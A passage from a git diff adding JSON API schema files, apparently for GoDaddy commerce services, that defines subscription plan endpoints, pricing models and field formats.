"$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "name": { + "description": "Name of bundle.", + "maxLength": 64, + "type": "string" + }, + "type": { + "description": "The type of the bundle.", + "type": "string" + }, + "updatedAt": { + "description": "This is a response only field. The time (in ISO-8601 format) at which the bundle was updated. E.g. 2014-09-11T23:14:44Z.", + "format": "date-time", + "readOnly": true, + "type": "string" + } + }, + "required": [ + "featureList", + "id", + "name" + ], + "title": "Bundled Features", + "type": "object" + }, + "type": "array" + }, + "timezone": { + "description": "The timezone of the store.", + "maxLength": 64, + "type": "string" + }, + "updatedAt": { + "description": "The updatedAt of the store. This updatedAt is set internally during store updates.", + "format": "date-time", + "readOnly": true, + "type": "string" + } + }, + "required": [ + "displayName", + "businessId" + ], + "title": "Store", + "type": "object" + } + } + }, + "scopes": [ + "commerce.store:update" + ] + } + ] +} \ No newline at end of file diff --git a/rust/schemas/api/subscriptions.json b/rust/schemas/api/subscriptions.json new file mode 100644 index 0000000..b115dac --- /dev/null +++ b/rust/schemas/api/subscriptions.json @@ -0,0 +1,2306 @@ +{ + "name": "subscriptions", + "title": "Commerce Subscription API", + "description": "This API is capable of recording and obtaining commerce subscription information", + "version": "1.1.0", + "baseUrl": "https://api.godaddy.com/v1/commerce", + "endpoints": [ + { + "operationId": "getPlans", + "method": "GET", + "path": "/plans", + "summary": "Get Subscription Plans", + "description": "Retrieve the subscription plans by params", + "parameters": [ + { + "name": "X-Request-Id", + "in": "header", + "required": false, + "description": "Request ID", + "schema": { + "format": "uuid", + "type": "string" + } + }, + { + "name": "applicationId", + "in": "query", + "required": true, + "description": "Godaddy Platform Application ID (required)", + "schema": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + } + }, + { + "name": "status", + "in": "query", + "required": false, + "description": "Status of the subscription plan", + "schema": { + "default": "ACTIVE", + "description": "The status of the subscription plan. E.g. ACTIVE, DRAFT, DEPRECATED, DISCONTINUED.", + "pattern": "^(ACTIVE|DRAFT|DEPRECATED|DISCONTINUED)$", + "type": "string" + } + }, + { + "name": "page", + "in": "query", + "required": false, + "schema": { + "default": 1, + "type": "integer" + } + }, + { + "name": "pageSize", + "in": "query", + "required": false, + "schema": { + "default": 10, + "type": "integer" + } + }, + { + "name": "totalRequired", + "in": "query", + "required": false, + "schema": { + "default": false, + "type": "boolean" + } + } + ], + "responses": { + "200": { + "description": "Plans Found", + "schema": { + "$id": "https://godaddy.com/schemas/commerce/subscriptions/subscription-plan-list.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Resource representing a list of subscription plans", + "properties": { + "items": { + "description": "Array containing the current page of subscription plans", + "items": { + "$id": "https://godaddy.com/schemas/commerce/subscriptions/subscription-plan.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Resource representing a Subscription Plan that can be purchased by a customer. Supports free plans, fixed recurring pricing, and trial periods.\n", + "properties": { + "applicationId": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "applicationType": { + "description": "The type of the application the plan is created for. E.g. GODADDY_APP", + "type": "string", + "x-server-pattern": "^(GODADDY_APP)$" + }, + "billingProvider": { + "description": "Identifies which external billing system the billingReferenceId belongs to. Acceptable values: POYNT_BILLING, GODADDY_ECOMM.\n", + "type": "string", + "x-server-pattern": "^(POYNT_BILLING|GODADDY_ECOMM)$" + }, + "billingReferenceId": { + "description": "The identifier for this plan in the external billing system used for checkout and payment processing. Today this is a Poynt Billing plan ID.\n", + "maxLength": 100, + "type": "string" + }, + "countryCode": { + "$id": "https://godaddy.com/schemas/common-types/country-code.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "A two-character ISO 3166-1 code that identifies the country or region.", + "maxLength": 2, + "minLength": 2, + "pattern": "^([A-Z]{2}|C2)$", + "type": "string" + }, + "createdAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "description": { + "description": "Detailed description of what the subscription plan provides", + "maxLength": 1000, + "type": "string" + }, + "displayName": { + "description": "The display name of the subscription plan shown to customers", + "maxLength": 200, + "type": "string" + }, + "id": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "marketingData": { + "additionalProperties": true, + "description": "Marketing information for the subscription plan", + "properties": { + "features": { + "description": "List of marketing features to highlight", + "items": { + "type": "string" + }, + "type": "array" + }, + "headline": { + "description": "Main marketing headline for the plan", + "maxLength": 200, + "type": "string" + }, + "shortDescription": { + "description": "Short marketing description (1-2 sentences)", + "maxLength": 500, + "type": "string" + } + }, + "type": "object" + }, + "name": { + "description": "The reference key of the subscription plan. For GODADDY_APP plans, unique per applicationId.\n", + "maxLength": 100, + "type": "string" + }, + "pricing": { + "$id": "https://godaddy.com/schemas/commerce/subscriptions/pricing-model.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Polymorphic pricing configuration for a subscription plan. The pricingModel field acts as the discriminator to determine which pricing schema applies.\n", + "discriminator": { + "mapping": { + "FIXED_RECURRING": "./FixedRecurringPricing.yaml", + "FREE": "./FreePricing.yaml" + }, + "propertyName": "pricingModel" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/subscriptions/free-pricing.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": false, + "description": "Pricing configuration for a free plan. No charge, entitlement only. No billing cycle, price, or trial fields are applicable.\n", + "properties": { + "pricingModel": { + "const": "FREE", + "type": "string" + } + }, + "required": [ + "pricingModel" + ], + "title": "Free Pricing", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/subscriptions/fixed-recurring-pricing.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Pricing configuration for a fixed recurring plan. A fixed amount is charged on a recurring billing cycle.\n", + "properties": { + "billingCycle": { + "description": "The recurring interval at which the plan is billed.", + "type": "string", + "x-server-pattern": "^(WEEKLY|MONTHLY|YEARLY)$" + }, + "price": { + "$id": "https://godaddy.com/schemas/common/simple-money.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "The currency and amount for a financial transaction, such as a balance or payment due. Use for value representations with default transactable-value precision.", + "properties": { + "currencyCode": { + "$id": "https://godaddy.com/schemas/common/currency-code.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A three-character ISO-4217 currency code.", + "maxLength": 3, + "minLength": 3, + "title": "Currency Code", + "type": "string" + }, + "value": { + "description": "The value, which might represent intergrals for currencies like `JPY` that are not typically fractional; or, with an implied decimal fraction for currencies like `TND` that are subdivided into thousandths. For the implied number of decimal places for a currency code, see [ISO-4217 Currency Codes](https://en.wikipedia.org/wiki/ISO_4217).", + "format": "int64", + "type": "integer" + } + }, + "required": [ + "currencyCode", + "value" + ], + "title": "Simple Money", + "type": "object" + }, + "pricingModel": { + "const": "FIXED_RECURRING", + "type": "string" + }, + "trialDays": { + "description": "Number of days the customer gets free access before the first charge. Payment info is collected upfront. Re-subscriptions skip the trial.\n", + "maximum": 365, + "minimum": 1, + "type": "integer" + } + }, + "required": [ + "pricingModel", + "billingCycle", + "price" + ], + "title": "Fixed Recurring Pricing", + "type": "object" + } + ], + "title": "Pricing Model" + }, + "status": { + "default": "ACTIVE", + "description": "The status of the subscription plan. E.g. ACTIVE, DRAFT, DEPRECATED, DISCONTINUED", + "type": "string", + "x-server-pattern": "^(ACTIVE|DRAFT|DEPRECATED|DISCONTINUED)$" + }, + "updatedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + } + }, + "required": [ + "name", + "pricing" + ], + "title": "Subscription Plan", + "type": "object" + }, + "type": "array" + }, + "links": { + "description": "Array of HATEOAS link relations that should be used to navigate across pages of Plans", + "items": { + "$id": "https://godaddy.com/schemas/common/link-description.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", + "properties": { + "href": { + "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", + "format": "uri", + "type": "string" + }, + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" + }, + "rel": { + "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", + "type": "string" + }, + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", + "type": "string" + }, + "submissionSchema": { + "description": "The schema that describes the request data." + }, + "targetMediaType": { + "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "type": "string" + }, + "targetSchema": { + "description": "The schema that describes the link target." + }, + "title": { + "description": "The link title.", + "type": "string" + } + }, + "required": [ + "rel", + "href" + ], + "title": "Link Description", + "type": "object" + }, + "type": "array" + }, + "totalItems": { + "description": "Total number of Plans matching the search criteria. Returned only when totalRequired is set to true.", + "type": "integer" + }, + "totalPages": { + "description": "Total number of pages matching the search criteria. Returned only when totalRequired is set to true.", + "type": "integer" + } + }, + "title": "Subscription Plan List", + "type": "object" + } + }, + "default": { + "description": "Error", + "schema": { + "$ref": "./common-types/v1/schemas/yaml/error.yaml" + } + } + }, + "scopes": [ + "commerce.subscription-plan:read" + ] + }, + { + "operationId": "createPlan", + "method": "POST", + "path": "/plans", + "summary": "Create Subscription Plan", + "description": "Create Subscription Plan", + "parameters": [ + { + "name": "X-Request-Id", + "in": "header", + "required": false, + "description": "Request ID", + "schema": { + "format": "uuid", + "type": "string" + } + } + ], + "requestBody": { + "required": false, + "contentType": "application/json", + "schema": { + "$id": "https://godaddy.com/schemas/commerce/subscriptions/subscription-plan.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Resource representing a Subscription Plan that can be purchased by a customer. Supports free plans, fixed recurring pricing, and trial periods.\n", + "properties": { + "applicationId": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "applicationType": { + "description": "The type of the application the plan is created for. E.g. GODADDY_APP", + "type": "string", + "x-server-pattern": "^(GODADDY_APP)$" + }, + "billingProvider": { + "description": "Identifies which external billing system the billingReferenceId belongs to. Acceptable values: POYNT_BILLING, GODADDY_ECOMM.\n", + "type": "string", + "x-server-pattern": "^(POYNT_BILLING|GODADDY_ECOMM)$" + }, + "billingReferenceId": { + "description": "The identifier for this plan in the external billing system used for checkout and payment processing. Today this is a Poynt Billing plan ID.\n", + "maxLength": 100, + "type": "string" + }, + "countryCode": { + "$id": "https://godaddy.com/schemas/common-types/country-code.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "A two-character ISO 3166-1 code that identifies the country or region.", + "maxLength": 2, + "minLength": 2, + "pattern": "^([A-Z]{2}|C2)$", + "type": "string" + }, + "createdAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "description": { + "description": "Detailed description of what the subscription plan provides", + "maxLength": 1000, + "type": "string" + }, + "displayName": { + "description": "The display name of the subscription plan shown to customers", + "maxLength": 200, + "type": "string" + }, + "id": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "marketingData": { + "additionalProperties": true, + "description": "Marketing information for the subscription plan", + "properties": { + "features": { + "description": "List of marketing features to highlight", + "items": { + "type": "string" + }, + "type": "array" + }, + "headline": { + "description": "Main marketing headline for the plan", + "maxLength": 200, + "type": "string" + }, + "shortDescription": { + "description": "Short marketing description (1-2 sentences)", + "maxLength": 500, + "type": "string" + } + }, + "type": "object" + }, + "name": { + "description": "The reference key of the subscription plan. For GODADDY_APP plans, unique per applicationId.\n", + "maxLength": 100, + "type": "string" + }, + "pricing": { + "$id": "https://godaddy.com/schemas/commerce/subscriptions/pricing-model.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Polymorphic pricing configuration for a subscription plan. The pricingModel field acts as the discriminator to determine which pricing schema applies.\n", + "discriminator": { + "mapping": { + "FIXED_RECURRING": "./FixedRecurringPricing.yaml", + "FREE": "./FreePricing.yaml" + }, + "propertyName": "pricingModel" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/subscriptions/free-pricing.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": false, + "description": "Pricing configuration for a free plan. No charge, entitlement only. No billing cycle, price, or trial fields are applicable.\n", + "properties": { + "pricingModel": { + "const": "FREE", + "type": "string" + } + }, + "required": [ + "pricingModel" + ], + "title": "Free Pricing", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/subscriptions/fixed-recurring-pricing.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Pricing configuration for a fixed recurring plan. A fixed amount is charged on a recurring billing cycle.\n", + "properties": { + "billingCycle": { + "description": "The recurring interval at which the plan is billed.", + "type": "string", + "x-server-pattern": "^(WEEKLY|MONTHLY|YEARLY)$" + }, + "price": { + "$id": "https://godaddy.com/schemas/common/simple-money.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "The currency and amount for a financial transaction, such as a balance or payment due. Use for value representations with default transactable-value precision.", + "properties": { + "currencyCode": { + "$id": "https://godaddy.com/schemas/common/currency-code.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A three-character ISO-4217 currency code.", + "maxLength": 3, + "minLength": 3, + "title": "Currency Code", + "type": "string" + }, + "value": { + "description": "The value, which might represent intergrals for currencies like `JPY` that are not typically fractional; or, with an implied decimal fraction for currencies like `TND` that are subdivided into thousandths. For the implied number of decimal places for a currency code, see [ISO-4217 Currency Codes](https://en.wikipedia.org/wiki/ISO_4217).", + "format": "int64", + "type": "integer" + } + }, + "required": [ + "currencyCode", + "value" + ], + "title": "Simple Money", + "type": "object" + }, + "pricingModel": { + "const": "FIXED_RECURRING", + "type": "string" + }, + "trialDays": { + "description": "Number of days the customer gets free access before the first charge. Payment info is collected upfront. Re-subscriptions skip the trial.\n", + "maximum": 365, + "minimum": 1, + "type": "integer" + } + }, + "required": [ + "pricingModel", + "billingCycle", + "price" + ], + "title": "Fixed Recurring Pricing", + "type": "object" + } + ], + "title": "Pricing Model" + }, + "status": { + "default": "ACTIVE", + "description": "The status of the subscription plan. E.g. ACTIVE, DRAFT, DEPRECATED, DISCONTINUED", + "type": "string", + "x-server-pattern": "^(ACTIVE|DRAFT|DEPRECATED|DISCONTINUED)$" + }, + "updatedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + } + }, + "required": [ + "name", + "pricing" + ], + "title": "Subscription Plan", + "type": "object" + } + }, + "responses": { + "default": { + "description": "Error", + "schema": { + "$ref": "./common-types/v1/schemas/yaml/error.yaml" + } + }, + "201": { + "description": "Plan Created", + "schema": { + "$id": "https://godaddy.com/schemas/commerce/subscriptions/subscription-plan.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Resource representing a Subscription Plan that can be purchased by a customer. Supports free plans, fixed recurring pricing, and trial periods.\n", + "properties": { + "applicationId": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "applicationType": { + "description": "The type of the application the plan is created for. E.g. GODADDY_APP", + "type": "string", + "x-server-pattern": "^(GODADDY_APP)$" + }, + "billingProvider": { + "description": "Identifies which external billing system the billingReferenceId belongs to. Acceptable values: POYNT_BILLING, GODADDY_ECOMM.\n", + "type": "string", + "x-server-pattern": "^(POYNT_BILLING|GODADDY_ECOMM)$" + }, + "billingReferenceId": { + "description": "The identifier for this plan in the external billing system used for checkout and payment processing. Today this is a Poynt Billing plan ID.\n", + "maxLength": 100, + "type": "string" + }, + "countryCode": { + "$id": "https://godaddy.com/schemas/common-types/country-code.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "A two-character ISO 3166-1 code that identifies the country or region.", + "maxLength": 2, + "minLength": 2, + "pattern": "^([A-Z]{2}|C2)$", + "type": "string" + }, + "createdAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "description": { + "description": "Detailed description of what the subscription plan provides", + "maxLength": 1000, + "type": "string" + }, + "displayName": { + "description": "The display name of the subscription plan shown to customers", + "maxLength": 200, + "type": "string" + }, + "id": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "marketingData": { + "additionalProperties": true, + "description": "Marketing information for the subscription plan", + "properties": { + "features": { + "description": "List of marketing features to highlight", + "items": { + "type": "string" + }, + "type": "array" + }, + "headline": { + "description": "Main marketing headline for the plan", + "maxLength": 200, + "type": "string" + }, + "shortDescription": { + "description": "Short marketing description (1-2 sentences)", + "maxLength": 500, + "type": "string" + } + }, + "type": "object" + }, + "name": { + "description": "The reference key of the subscription plan. For GODADDY_APP plans, unique per applicationId.\n", + "maxLength": 100, + "type": "string" + }, + "pricing": { + "$id": "https://godaddy.com/schemas/commerce/subscriptions/pricing-model.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Polymorphic pricing configuration for a subscription plan. The pricingModel field acts as the discriminator to determine which pricing schema applies.\n", + "discriminator": { + "mapping": { + "FIXED_RECURRING": "./FixedRecurringPricing.yaml", + "FREE": "./FreePricing.yaml" + }, + "propertyName": "pricingModel" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/subscriptions/free-pricing.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": false, + "description": "Pricing configuration for a free plan. No charge, entitlement only. No billing cycle, price, or trial fields are applicable.\n", + "properties": { + "pricingModel": { + "const": "FREE", + "type": "string" + } + }, + "required": [ + "pricingModel" + ], + "title": "Free Pricing", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/subscriptions/fixed-recurring-pricing.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Pricing configuration for a fixed recurring plan. A fixed amount is charged on a recurring billing cycle.\n", + "properties": { + "billingCycle": { + "description": "The recurring interval at which the plan is billed.", + "type": "string", + "x-server-pattern": "^(WEEKLY|MONTHLY|YEARLY)$" + }, + "price": { + "$id": "https://godaddy.com/schemas/common/simple-money.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "The currency and amount for a financial transaction, such as a balance or payment due. Use for value representations with default transactable-value precision.", + "properties": { + "currencyCode": { + "$id": "https://godaddy.com/schemas/common/currency-code.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A three-character ISO-4217 currency code.", + "maxLength": 3, + "minLength": 3, + "title": "Currency Code", + "type": "string" + }, + "value": { + "description": "The value, which might represent intergrals for currencies like `JPY` that are not typically fractional; or, with an implied decimal fraction for currencies like `TND` that are subdivided into thousandths. For the implied number of decimal places for a currency code, see [ISO-4217 Currency Codes](https://en.wikipedia.org/wiki/ISO_4217).", + "format": "int64", + "type": "integer" + } + }, + "required": [ + "currencyCode", + "value" + ], + "title": "Simple Money", + "type": "object" + }, + "pricingModel": { + "const": "FIXED_RECURRING", + "type": "string" + }, + "trialDays": { + "description": "Number of days the customer gets free access before the first charge. Payment info is collected upfront. Re-subscriptions skip the trial.\n", + "maximum": 365, + "minimum": 1, + "type": "integer" + } + }, + "required": [ + "pricingModel", + "billingCycle", + "price" + ], + "title": "Fixed Recurring Pricing", + "type": "object" + } + ], + "title": "Pricing Model" + }, + "status": { + "default": "ACTIVE", + "description": "The status of the subscription plan. E.g. ACTIVE, DRAFT, DEPRECATED, DISCONTINUED", + "type": "string", + "x-server-pattern": "^(ACTIVE|DRAFT|DEPRECATED|DISCONTINUED)$" + }, + "updatedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + } + }, + "required": [ + "name", + "pricing" + ], + "title": "Subscription Plan", + "type": "object" + } + } + }, + "scopes": [ + "commerce.subscription-plan:create" + ] + }, + { + "operationId": "getPlanById", + "method": "GET", + "path": "/plans/{planId}", + "summary": "Get Subscription Plan", + "description": "Retrieve the information of the Subscription Plan by ID.", + "parameters": [ + { + "name": "X-Request-Id", + "in": "header", + "required": false, + "description": "Request ID", + "schema": { + "format": "uuid", + "type": "string" + } + }, + { + "name": "planId", + "in": "path", + "required": true, + "description": "The plan ID", + "schema": { + "type": "string" + } + } + ], + "responses": { + "default": { + "description": "Error", + "schema": { + "$ref": "./common-types/v1/schemas/yaml/error.yaml" + } + }, + "200": { + "description": "Plan Found", + "schema": { + "$id": "https://godaddy.com/schemas/commerce/subscriptions/subscription-plan.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Resource representing a Subscription Plan that can be purchased by a customer. Supports free plans, fixed recurring pricing, and trial periods.\n", + "properties": { + "applicationId": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "applicationType": { + "description": "The type of the application the plan is created for. E.g. GODADDY_APP", + "type": "string", + "x-server-pattern": "^(GODADDY_APP)$" + }, + "billingProvider": { + "description": "Identifies which external billing system the billingReferenceId belongs to. Acceptable values: POYNT_BILLING, GODADDY_ECOMM.\n", + "type": "string", + "x-server-pattern": "^(POYNT_BILLING|GODADDY_ECOMM)$" + }, + "billingReferenceId": { + "description": "The identifier for this plan in the external billing system used for checkout and payment processing. Today this is a Poynt Billing plan ID.\n", + "maxLength": 100, + "type": "string" + }, + "countryCode": { + "$id": "https://godaddy.com/schemas/common-types/country-code.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "A two-character ISO 3166-1 code that identifies the country or region.", + "maxLength": 2, + "minLength": 2, + "pattern": "^([A-Z]{2}|C2)$", + "type": "string" + }, + "createdAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "description": { + "description": "Detailed description of what the subscription plan provides", + "maxLength": 1000, + "type": "string" + }, + "displayName": { + "description": "The display name of the subscription plan shown to customers", + "maxLength": 200, + "type": "string" + }, + "id": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "marketingData": { + "additionalProperties": true, + "description": "Marketing information for the subscription plan", + "properties": { + "features": { + "description": "List of marketing features to highlight", + "items": { + "type": "string" + }, + "type": "array" + }, + "headline": { + "description": "Main marketing headline for the plan", + "maxLength": 200, + "type": "string" + }, + "shortDescription": { + "description": "Short marketing description (1-2 sentences)", + "maxLength": 500, + "type": "string" + } + }, + "type": "object" + }, + "name": { + "description": "The reference key of the subscription plan. For GODADDY_APP plans, unique per applicationId.\n", + "maxLength": 100, + "type": "string" + }, + "pricing": { + "$id": "https://godaddy.com/schemas/commerce/subscriptions/pricing-model.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Polymorphic pricing configuration for a subscription plan. The pricingModel field acts as the discriminator to determine which pricing schema applies.\n", + "discriminator": { + "mapping": { + "FIXED_RECURRING": "./FixedRecurringPricing.yaml", + "FREE": "./FreePricing.yaml" + }, + "propertyName": "pricingModel" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/subscriptions/free-pricing.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": false, + "description": "Pricing configuration for a free plan. No charge, entitlement only. No billing cycle, price, or trial fields are applicable.\n", + "properties": { + "pricingModel": { + "const": "FREE", + "type": "string" + } + }, + "required": [ + "pricingModel" + ], + "title": "Free Pricing", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/subscriptions/fixed-recurring-pricing.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Pricing configuration for a fixed recurring plan. A fixed amount is charged on a recurring billing cycle.\n", + "properties": { + "billingCycle": { + "description": "The recurring interval at which the plan is billed.", + "type": "string", + "x-server-pattern": "^(WEEKLY|MONTHLY|YEARLY)$" + }, + "price": { + "$id": "https://godaddy.com/schemas/common/simple-money.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "The currency and amount for a financial transaction, such as a balance or payment due. Use for value representations with default transactable-value precision.", + "properties": { + "currencyCode": { + "$id": "https://godaddy.com/schemas/common/currency-code.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A three-character ISO-4217 currency code.", + "maxLength": 3, + "minLength": 3, + "title": "Currency Code", + "type": "string" + }, + "value": { + "description": "The value, which might represent intergrals for currencies like `JPY` that are not typically fractional; or, with an implied decimal fraction for currencies like `TND` that are subdivided into thousandths. For the implied number of decimal places for a currency code, see 